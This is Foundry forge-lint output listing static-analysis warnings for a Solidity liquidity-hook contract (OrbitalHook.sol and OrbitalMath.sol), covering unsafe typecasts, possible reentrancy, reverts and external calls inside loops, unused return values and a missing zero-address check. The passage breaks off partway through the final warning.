https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:207:56\n    │\n207 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:209:27\n    │\n209 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:223:53\n    │\n223 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:104:32\n    │\n104 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:107:23\n    │\n107 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:276:56\n    │\n276 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:276:77\n    │\n276 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:277:44\n    │\n277 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:277:59\n    │\n277 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:311:23\n    │\n311 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:311:58\n    │\n311 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:33\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:40\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:58\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:65\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:34\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:41\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:59\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:66\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:355:30\n    │\n355 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:21\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:29\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:68\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:76\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `totalRadius` is updated\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:406:9\n    │\n406 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:407:9\n    │\n407 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:393:45\n    │\n393 │             if (amounts[k] > maxAmounts[k]) revert SlippageExceeded();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:406:9\n    │\n406 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:552:16\n    │\n552 │         return poolManager.balanceOf(address(this), uint256(uint160(_tokens[k])));\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:467:9\n    │\n467 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:450:38\n    │\n450 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:478:9\n    │\n478 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:481:9\n    │\n481 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:482:9\n    │\n482 │         emit ClaimsRedeemed(msg.sender, token, amount, to);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:478:9\n    │\n478 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:481:9\n    │\n481 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:500:13\n    │\n500 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:529:17\n    │\n529 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n     ╭▸ src/OrbitalHook.sol:1084:39\n     │\n1084 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n     │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:531:17\n    │\n531 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:532:17\n    │\n532 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:538:21\n    │\n538 │                 try poolManager.take(c, data.account, amount) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:539:21\n    │\n539 │                     poolManager.burn(address(this), c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:542:21\n    │\n542 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:543:21\n    │\n543 │                     emit ClaimsDelivered(data.account, _tokens[k], amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1085:93\n     │\n1085 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n     │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:541:55\n    │\n541 │                     if (data.action == Action.Redeem) revert TransferFailed();\n    │                                                       ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:531:17\n    │\n531 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:542:21\n    │\n542 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:579:26\n    │\n579 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:17\n    │\n700 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:31\n    │\n700 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:747:24\n    │\n747 │         return found ? int256(lv[top].kNorm) : type(int256).max;\n    │                        ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:784:60\n    │\n784 │             boundary = _position(lv, boundaryMask, s, c) > int256(lv[l].kNorm);\n    │                                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:817:24\n    │\n817 │         int256 along = int256(kNorm * radius / sqrtN); // k·r/√N per coin\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:818:21\n    │\n818 │         int256 sr = int256(sNorm * radius / WAD);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:43\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:59\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:80\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                                                ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:822:30\n    │\n822 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:843:17\n    │\n843 │                 uu += uint256(u[k] * u[k]);\n    │                 ━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:29\n    